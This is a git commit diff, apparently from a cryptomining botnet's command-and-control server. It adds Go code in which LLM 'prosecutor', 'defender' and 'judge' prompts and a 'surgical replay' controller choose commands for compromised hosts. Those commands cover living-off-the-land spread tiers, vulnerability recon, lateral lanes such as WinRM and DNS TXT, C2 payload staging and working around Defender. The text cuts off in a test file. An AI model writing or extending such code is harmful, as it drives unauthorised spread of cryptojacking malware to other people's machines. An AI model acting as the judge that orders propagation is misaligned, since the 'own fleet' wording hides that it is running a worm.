Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
282
server/internal/ai/court_chamber.go
Normal file
282
server/internal/ai/court_chamber.go
Normal file
@@ -0,0 +1,282 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
|
||||
type CourtChamberProvider interface {
|
||||
CourtContext
|
||||
ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
|
||||
}
|
||||
|
||||
// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
|
||||
type CourtChamberEvidence struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
Stuck bool `json:"stuck"`
|
||||
ChainExhausted bool `json:"chain_exhausted"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FingerprintKey string `json:"fingerprint_key,omitempty"`
|
||||
AtlasSummary string `json:"atlas_summary"`
|
||||
SubnetImmune string `json:"subnet_immune"`
|
||||
ErasureRecovery string `json:"erasure_recovery"`
|
||||
GossipWhispers string `json:"gossip_whispers"`
|
||||
}
|
||||
|
||||
// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
|
||||
type CourtDebateTurn struct {
|
||||
Role string `json:"role"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
|
||||
type CourtDebateTranscript struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
Evidence CourtChamberEvidence `json:"evidence"`
|
||||
Transcript []CourtDebateTurn `json:"transcript"`
|
||||
Verdict string `json:"verdict,omitempty"`
|
||||
CommandsJSON string `json:"commands_json,omitempty"`
|
||||
Timestamp string `json:"ts"`
|
||||
}
|
||||
|
||||
// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
|
||||
type CourtDeps struct {
|
||||
Chamber CourtChamberProvider
|
||||
Seer SeerEmitter
|
||||
Emberwake func(agentID string, transcript CourtDebateTranscript)
|
||||
}
|
||||
|
||||
// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
|
||||
func BuildCourtDebate(
|
||||
snap AgentSnapshot,
|
||||
evidence CourtChamberEvidence,
|
||||
phenotype *strategy.FleetPhenotype,
|
||||
persona string,
|
||||
) (CourtDebateTranscript, CourtPromptBundle) {
|
||||
prosecutor := buildChamberProsecutor(snap, evidence)
|
||||
defender := buildChamberDefender(phenotype, evidence)
|
||||
judgeOverlay := CourtJudgeOverlay(persona)
|
||||
|
||||
transcript := CourtDebateTranscript{
|
||||
AgentID: snap.AgentID,
|
||||
AgentName: snap.Name,
|
||||
ClearanceLevel: snap.ClearanceLevel,
|
||||
Evidence: evidence,
|
||||
Transcript: []CourtDebateTurn{
|
||||
{Role: "prosecutor", Text: prosecutor},
|
||||
{Role: "defender", Text: defender},
|
||||
},
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
|
||||
return transcript, bundle
|
||||
}
|
||||
|
||||
func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
|
||||
fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
|
||||
if ev.Stuck {
|
||||
b.WriteString(" — STUCK")
|
||||
}
|
||||
b.WriteString(".\n")
|
||||
if ev.ChainExhausted {
|
||||
b.WriteString("Mining fallback chain exhausted: true.\n")
|
||||
}
|
||||
if strings.TrimSpace(ev.AtlasSummary) != "" {
|
||||
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
|
||||
}
|
||||
if strings.TrimSpace(ev.SubnetImmune) != "" {
|
||||
fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
|
||||
}
|
||||
if strings.TrimSpace(ev.ErasureRecovery) != "" {
|
||||
fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
|
||||
}
|
||||
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
||||
fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
|
||||
}
|
||||
failed, total := countSpreadFailures(snap)
|
||||
if total > 0 {
|
||||
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
|
||||
} else {
|
||||
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
|
||||
}
|
||||
b.WriteString("Per-tier spread attempts:\n")
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range snap.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[tier]; ok {
|
||||
status := "fail"
|
||||
if a.OK {
|
||||
status = "ok"
|
||||
}
|
||||
if a.Error != "" {
|
||||
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
||||
} else {
|
||||
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
||||
}
|
||||
}
|
||||
}
|
||||
if snap.JoinLane != "" {
|
||||
fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
|
||||
}
|
||||
if snap.ActiveMethod != "" {
|
||||
fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
|
||||
if phenotype == nil {
|
||||
b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
|
||||
} else {
|
||||
name := phenotype.SourceAgentName
|
||||
if name == "" {
|
||||
name = phenotype.SourceAgentID
|
||||
}
|
||||
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
|
||||
if phenotype.ActiveTier != "" {
|
||||
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
|
||||
}
|
||||
if phenotype.SpreadLane != "" {
|
||||
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
|
||||
}
|
||||
if len(phenotype.TierOrder) > 0 {
|
||||
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
|
||||
}
|
||||
if raw, err := json.Marshal(phenotype); err == nil {
|
||||
fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
|
||||
}
|
||||
}
|
||||
if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
|
||||
b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
|
||||
}
|
||||
if strings.Contains(ev.SubnetImmune, "paused") {
|
||||
b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
|
||||
}
|
||||
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
||||
b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
|
||||
func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
|
||||
var system strings.Builder
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
|
||||
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
|
||||
You must weigh their statements and issue a binding verdict with at most 3 commands.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
|
||||
Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
|
||||
system.WriteString("\n\n## PROSECUTOR\n")
|
||||
system.WriteString(prosecutor)
|
||||
system.WriteString("\n\n## PUBLIC DEFENDER\n")
|
||||
system.WriteString(defender)
|
||||
|
||||
var user strings.Builder
|
||||
fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
|
||||
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
|
||||
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
|
||||
if snap.FingerprintKey != "" {
|
||||
fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
|
||||
}
|
||||
user.WriteString("\n## JUDGE (L4)\n")
|
||||
user.WriteString(judgeOverlay)
|
||||
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
|
||||
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
|
||||
|
||||
return CourtPromptBundle{
|
||||
SystemPrompt: system.String(),
|
||||
UserPrompt: user.String(),
|
||||
ProsecutorSnippet: prosecutor,
|
||||
DefenderSnippet: defender,
|
||||
}
|
||||
}
|
||||
|
||||
// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
|
||||
func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
|
||||
transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
|
||||
transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
|
||||
transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
|
||||
Role: "judge",
|
||||
Text: strings.TrimSpace(judgeResponse),
|
||||
})
|
||||
return transcript
|
||||
}
|
||||
|
||||
func extractCommandsJSON(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
idx := strings.Index(raw, "{")
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(raw[idx:])
|
||||
}
|
||||
|
||||
// FormatGossipWhispers renders LAN gossip hints for court evidence.
|
||||
func FormatGossipWhispers(hints []struct {
|
||||
Tier, Condition, Reason string
|
||||
}) string {
|
||||
if len(hints) == 0 {
|
||||
return "none recorded on this /24"
|
||||
}
|
||||
parts := make([]string, 0, len(hints))
|
||||
for _, h := range hints {
|
||||
line := h.Tier + "|" + h.Condition
|
||||
if h.Reason != "" {
|
||||
line += " (" + h.Reason + ")"
|
||||
}
|
||||
parts = append(parts, line)
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
|
||||
func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
|
||||
if prefix == "" {
|
||||
return "no /24 prefix for agent IP"
|
||||
}
|
||||
if failCount == 0 {
|
||||
return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
|
||||
}
|
||||
line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
|
||||
if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
|
||||
line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
|
||||
func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
|
||||
fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
|
||||
if stageFetchAttempted {
|
||||
fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
|
||||
}
|
||||
if lanesEnabled {
|
||||
b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
|
||||
} else {
|
||||
b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
92
server/internal/ai/court_chamber_test.go
Normal file
92
server/internal/ai/court_chamber_test.go
Normal file
@@ -0,0 +1,92 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestBuildCourtDebateIncludesRealEvidence(t *testing.T) {
|
||||
ev := CourtChamberEvidence{
|
||||
AgentID: "a1", AgentName: "stuck", Hashrate: 0, Stuck: true,
|
||||
ChainExhausted: true, AtlasSummary: "docker 5/5 failed (100%)",
|
||||
SubnetImmune: "prefix=10.0.0 fail_count=5 paused_until=2026-06-08T00:00:00Z UTC",
|
||||
ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false (RS 4+2 shard recovery available via stage_fetch)",
|
||||
GossipWhispers: "docker|defender_on (lan gossip)",
|
||||
}
|
||||
snap := AgentSnapshot{
|
||||
AgentID: "a1", Name: "stuck", Stuck: true, ChainExhausted: true,
|
||||
LOTLAttempts: stuckSpreadAttempts(),
|
||||
}
|
||||
transcript, bundle := BuildCourtDebate(snap, ev, nil, PersonaBalanced)
|
||||
if len(transcript.Transcript) != 2 {
|
||||
t.Fatalf("transcript=%+v", transcript.Transcript)
|
||||
}
|
||||
if transcript.Transcript[0].Role != "prosecutor" || transcript.Transcript[1].Role != "defender" {
|
||||
t.Fatalf("roles=%+v", transcript.Transcript)
|
||||
}
|
||||
pros := transcript.Transcript[0].Text
|
||||
for _, want := range []string{
|
||||
"0.00 H/s", "Failure atlas: docker", "Subnet immune table:",
|
||||
"Erasure recovery:", "Atlas LAN gossip whispers:", "14/14 failed",
|
||||
} {
|
||||
if !strings.Contains(pros, want) {
|
||||
t.Fatalf("prosecutor missing %q: %s", want, pros)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(bundle.SystemPrompt, "## PUBLIC DEFENDER") {
|
||||
t.Fatalf("judge prompt missing defender section")
|
||||
}
|
||||
if !strings.Contains(bundle.UserPrompt, "## JUDGE (L4)") {
|
||||
t.Fatalf("judge user prompt: %s", bundle.UserPrompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCourtDebateDefenderPhenotype(t *testing.T) {
|
||||
phenotype := &strategy.FleetPhenotype{
|
||||
Fingerprint: "win|1", SourceAgentName: "winner", ActiveTier: "container",
|
||||
PeakHashrate: 900, SpreadLane: "winrm", TierOrder: []string{"container", "wsl"},
|
||||
}
|
||||
ev := CourtChamberEvidence{ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false"}
|
||||
_, bundle := BuildCourtDebate(AgentSnapshot{AgentID: "a1"}, ev, phenotype, PersonaBalanced)
|
||||
if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from winner") {
|
||||
t.Fatalf("defender=%s", bundle.DefenderSnippet)
|
||||
}
|
||||
if !strings.Contains(bundle.DefenderSnippet, "Erasure RS 4+2 lanes") {
|
||||
t.Fatalf("defender erasure=%s", bundle.DefenderSnippet)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFinalizeCourtDebateAddsJudgeTurn(t *testing.T) {
|
||||
raw := "Verdict: restart mining.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}"
|
||||
transcript := CourtDebateTranscript{
|
||||
Transcript: []CourtDebateTurn{{Role: "prosecutor", Text: "charges"}},
|
||||
}
|
||||
out := FinalizeCourtDebate(transcript, raw)
|
||||
if len(out.Transcript) != 2 || out.Transcript[1].Role != "judge" {
|
||||
t.Fatalf("transcript=%+v", out.Transcript)
|
||||
}
|
||||
if out.Verdict != "restart mining." {
|
||||
t.Fatalf("verdict=%q", out.Verdict)
|
||||
}
|
||||
if !strings.Contains(out.CommandsJSON, "restart_mining") {
|
||||
t.Fatalf("commands=%q", out.CommandsJSON)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatSubnetImmuneRowPaused(t *testing.T) {
|
||||
until := time.Now().UTC().Add(2 * time.Hour)
|
||||
line := FormatSubnetImmuneRow("10.0.0", 5, &until)
|
||||
if !strings.Contains(line, "fail_count=5") || !strings.Contains(line, "paused_until=") {
|
||||
t.Fatalf("line=%q", line)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatErasureRecovery(t *testing.T) {
|
||||
line := FormatErasureRecovery(true, true, false)
|
||||
if !strings.Contains(line, "lanes_enabled=true") || !strings.Contains(line, "stage_fetch_ok=false") {
|
||||
t.Fatalf("line=%q", line)
|
||||
}
|
||||
}
|
||||
32
server/internal/ai/surgical_commands.go
Normal file
32
server/internal/ai/surgical_commands.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExpandSurgicalCommand maps surgical fix types to executable fleet commands.
|
||||
func ExpandSurgicalCommand(cmd Command) []Command {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane:
|
||||
return []Command{ResolveSpreadRetryLane(cmd.Args)}
|
||||
case CmdSkipTier:
|
||||
return []Command{ResolveSkipTier(cmd.Args)}
|
||||
case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft:
|
||||
return []Command{cmd}
|
||||
default:
|
||||
return []Command{cmd}
|
||||
}
|
||||
}
|
||||
|
||||
// FormatSurgicalFixArgs serializes command args for strain memory storage.
|
||||
func FormatSurgicalFixArgs(cmd Command) string {
|
||||
if cmd.Args == nil {
|
||||
return ""
|
||||
}
|
||||
parts := make([]string, 0, len(cmd.Args))
|
||||
for k, v := range cmd.Args {
|
||||
parts = append(parts, fmt.Sprintf("%s=%v", k, v))
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
}
|
||||
201
server/internal/ai/surgical_replay.go
Normal file
201
server/internal/ai/surgical_replay.go
Normal file
@@ -0,0 +1,201 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SurgicalTraceContext is minimal Path Tracer context for a failed branch replay.
|
||||
type SurgicalTraceContext struct {
|
||||
SessionID string `json:"session_id"`
|
||||
HopIndex int `json:"hop_index"`
|
||||
HopCount int `json:"hop_count"`
|
||||
EgressAgentID string `json:"egress_agent_id,omitempty"`
|
||||
SessionError string `json:"session_error,omitempty"`
|
||||
DiscoverError string `json:"discover_error,omitempty"`
|
||||
TargetSubnets []string `json:"target_subnets,omitempty"`
|
||||
}
|
||||
|
||||
// SurgicalDiagnosticBundle is the compact payload fed to the surgical replay LLM.
|
||||
type SurgicalDiagnosticBundle struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
Strain string `json:"strain,omitempty"`
|
||||
FailedTier string `json:"failed_tier"`
|
||||
FailedError string `json:"failed_error,omitempty"`
|
||||
SpreadFailures int `json:"spread_failures"`
|
||||
MiningHashrate float64 `json:"mining_hashrate"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
ErasureOn bool `json:"erasure_on"`
|
||||
Trace SurgicalTraceContext `json:"trace"`
|
||||
FailedAttempts []TierAttempt `json:"failed_attempts"`
|
||||
AtlasSummary string `json:"atlas_summary,omitempty"`
|
||||
Options map[string]interface{} `json:"fix_options,omitempty"`
|
||||
}
|
||||
|
||||
// SurgicalTraceProvider resolves persisted Path Tracer context for an agent.
|
||||
type SurgicalTraceProvider interface {
|
||||
TraceForAgent(agentID string) (SurgicalTraceContext, bool)
|
||||
}
|
||||
|
||||
// StrainMemoryStore persists surgical replay outcomes.
|
||||
type StrainMemoryStore interface {
|
||||
InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
|
||||
}
|
||||
|
||||
// SeerEmitter records Seer feed events for dashboard streaming.
|
||||
type SeerEmitter interface {
|
||||
EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error
|
||||
}
|
||||
|
||||
// SurgicalDeps wires optional surgical replay collaborators into the scheduler.
|
||||
type SurgicalDeps struct {
|
||||
Trace SurgicalTraceProvider
|
||||
Strain StrainMemoryStore
|
||||
Seer SeerEmitter
|
||||
StrainLookup func(agentID string) string
|
||||
ErasureActive func() bool
|
||||
}
|
||||
|
||||
// ShouldUseSurgicalReplay is true when a pathtrace branch failed partially along spread tiers.
|
||||
func ShouldUseSurgicalReplay(trace SurgicalTraceContext, snap AgentSnapshot) bool {
|
||||
if trace.SessionID == "" {
|
||||
return false
|
||||
}
|
||||
if snap.MiningHashrate > 0 {
|
||||
return false
|
||||
}
|
||||
if AllSpreadTiersFailed(snap) || snap.Stuck {
|
||||
return false
|
||||
}
|
||||
failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
|
||||
return failedTier != ""
|
||||
}
|
||||
|
||||
// BuildSurgicalDiagnosticBundle composes a minimal replay bundle from trace + snapshot.
|
||||
func BuildSurgicalDiagnosticBundle(
|
||||
snap AgentSnapshot,
|
||||
trace SurgicalTraceContext,
|
||||
atlasSummary, persona string,
|
||||
erasureOn bool,
|
||||
) SurgicalDiagnosticBundle {
|
||||
failedTier, failedErr := firstFailedSpreadTier(snap.LOTLAttempts)
|
||||
failed, _ := countSpreadFailures(snap)
|
||||
bundle := SurgicalDiagnosticBundle{
|
||||
AgentID: snap.AgentID,
|
||||
AgentName: snap.Name,
|
||||
FailedTier: failedTier,
|
||||
FailedError: failedErr,
|
||||
SpreadFailures: failed,
|
||||
MiningHashrate: snap.MiningHashrate,
|
||||
JoinLane: snap.JoinLane,
|
||||
Persona: persona,
|
||||
ErasureOn: erasureOn,
|
||||
Trace: trace,
|
||||
AtlasSummary: strings.TrimSpace(atlasSummary),
|
||||
FailedAttempts: failedSpreadAttempts(snap.LOTLAttempts),
|
||||
Options: map[string]interface{}{
|
||||
"persona_tweak": []string{"aggressive", "silent", "passive", "persuasive", "balanced"},
|
||||
"tier_skip": true,
|
||||
"erasure_on": !erasureOn,
|
||||
"spread_graft": true,
|
||||
"retry_lane": true,
|
||||
},
|
||||
}
|
||||
return bundle
|
||||
}
|
||||
|
||||
// BuildSurgicalReplayPrompt renders the single-command surgical replay LLM prompt.
|
||||
func BuildSurgicalReplayPrompt(bundle SurgicalDiagnosticBundle) (systemPrompt, userPrompt string) {
|
||||
systemPrompt = strings.TrimSpace(`You are the AetherForge surgical replay controller for the operator's own fleet.
|
||||
Examine the failed spread/onion branch from the persisted Path Tracer trace and LOTL attempts.
|
||||
Propose ONE minimal surgical fix — not a full court tribunal.
|
||||
Valid command types (pick exactly one): persona_tweak, skip_tier, enable_erasure, spread_graft, spread_retry_lane, reorder_tiers, discover_and_join, stage_fetch, spread_now, restart_mining, noop.
|
||||
persona_tweak args: persona (aggressive|silent|passive|persuasive|balanced).
|
||||
skip_tier args: tier (string) or skip_tiers (array).
|
||||
enable_erasure args: {} — turns on Reed–Solomon multi-lane staging for this fleet pass.
|
||||
spread_graft args: source_agent_id (string), tier (string) — splice winning strain tier order onto this agent.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes.
|
||||
Return JSON with exactly one command in commands[]. Never target third-party systems.`)
|
||||
|
||||
var user strings.Builder
|
||||
fmt.Fprintf(&user, "Surgical replay for agent %q (%s)\n", bundle.AgentName, bundle.AgentID)
|
||||
fmt.Fprintf(&user, "Failed spread tier: %s", bundle.FailedTier)
|
||||
if bundle.FailedError != "" {
|
||||
fmt.Fprintf(&user, " (%s)", bundle.FailedError)
|
||||
}
|
||||
user.WriteString("\n")
|
||||
fmt.Fprintf(&user, "Path trace session %s hop %d/%d\n", bundle.Trace.SessionID[:min(8, len(bundle.Trace.SessionID))], bundle.Trace.HopIndex+1, bundle.Trace.HopCount)
|
||||
if bundle.Trace.SessionError != "" {
|
||||
fmt.Fprintf(&user, "Session error: %s\n", bundle.Trace.SessionError)
|
||||
}
|
||||
if bundle.Trace.DiscoverError != "" {
|
||||
fmt.Fprintf(&user, "Discover error: %s\n", bundle.Trace.DiscoverError)
|
||||
}
|
||||
if bundle.AtlasSummary != "" {
|
||||
fmt.Fprintf(&user, "Failure atlas: %s\n", bundle.AtlasSummary)
|
||||
}
|
||||
fmt.Fprintf(&user, "Persona=%s erasure_lanes=%v join_lane=%s hashrate=%.2f\n",
|
||||
emptyDash(bundle.Persona), bundle.ErasureOn, emptyDash(bundle.JoinLane), bundle.MiningHashrate)
|
||||
user.WriteString("Failed spread attempts:\n")
|
||||
for _, a := range bundle.FailedAttempts {
|
||||
if a.Error != "" {
|
||||
fmt.Fprintf(&user, " - %s: %s\n", a.Tier, a.Error)
|
||||
} else {
|
||||
fmt.Fprintf(&user, " - %s: fail\n", a.Tier)
|
||||
}
|
||||
}
|
||||
if raw, err := json.Marshal(bundle.Trace); err == nil {
|
||||
fmt.Fprintf(&user, "Trace JSON: %s\n", string(raw))
|
||||
}
|
||||
user.WriteString("\nReply with one-line rationale, then JSON with exactly ONE command:\n")
|
||||
user.WriteString(`{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}` + "\n")
|
||||
return systemPrompt, user.String()
|
||||
}
|
||||
|
||||
// SelectSurgicalCommand returns the first actionable command (at most one dispatch).
|
||||
func SelectSurgicalCommand(cmds []Command) (Command, bool) {
|
||||
for _, c := range cmds {
|
||||
if c.Type == CmdNoop {
|
||||
continue
|
||||
}
|
||||
return c, true
|
||||
}
|
||||
return Command{}, false
|
||||
}
|
||||
|
||||
func firstFailedSpreadTier(attempts []TierAttempt) (tier, errMsg string) {
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range attempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
for _, t := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[t]; ok && !a.OK {
|
||||
return t, a.Error
|
||||
}
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func failedSpreadAttempts(attempts []TierAttempt) []TierAttempt {
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range attempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
var out []TierAttempt
|
||||
for _, t := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[t]; ok && !a.OK {
|
||||
out = append(out, a)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
75
server/internal/ai/surgical_replay_test.go
Normal file
75
server/internal/ai/surgical_replay_test.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestShouldUseSurgicalReplayPartialFailureWithTrace(t *testing.T) {
|
||||
trace := SurgicalTraceContext{SessionID: "sess-abc", HopIndex: 1, HopCount: 3}
|
||||
snap := AgentSnapshot{
|
||||
LOTLAttempts: []TierAttempt{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon missing"},
|
||||
},
|
||||
}
|
||||
if !ShouldUseSurgicalReplay(trace, snap) {
|
||||
t.Fatal("expected surgical replay for partial spread failure with trace")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldUseSurgicalReplaySkipsFullCourtStuck(t *testing.T) {
|
||||
trace := SurgicalTraceContext{SessionID: "sess-abc"}
|
||||
snap := AgentSnapshot{Stuck: true, LOTLAttempts: stuckSpreadAttempts()}
|
||||
if ShouldUseSurgicalReplay(trace, snap) {
|
||||
t.Fatal("expected court path, not surgical replay, when fully stuck")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldUseSurgicalReplayRequiresTrace(t *testing.T) {
|
||||
snap := AgentSnapshot{
|
||||
LOTLAttempts: []TierAttempt{{Tier: "docker", OK: false}},
|
||||
}
|
||||
if ShouldUseSurgicalReplay(SurgicalTraceContext{}, snap) {
|
||||
t.Fatal("expected false without pathtrace session")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildSurgicalReplayPromptMentionsFailedTier(t *testing.T) {
|
||||
bundle := BuildSurgicalDiagnosticBundle(
|
||||
AgentSnapshot{AgentID: "a1", Name: "host", JoinLane: "do_peer"},
|
||||
SurgicalTraceContext{SessionID: "trace-123", HopIndex: 0, HopCount: 2, DiscoverError: "no smb"},
|
||||
"wsl 3/3 failed", PersonaBalanced, false,
|
||||
)
|
||||
bundle.FailedTier = "docker"
|
||||
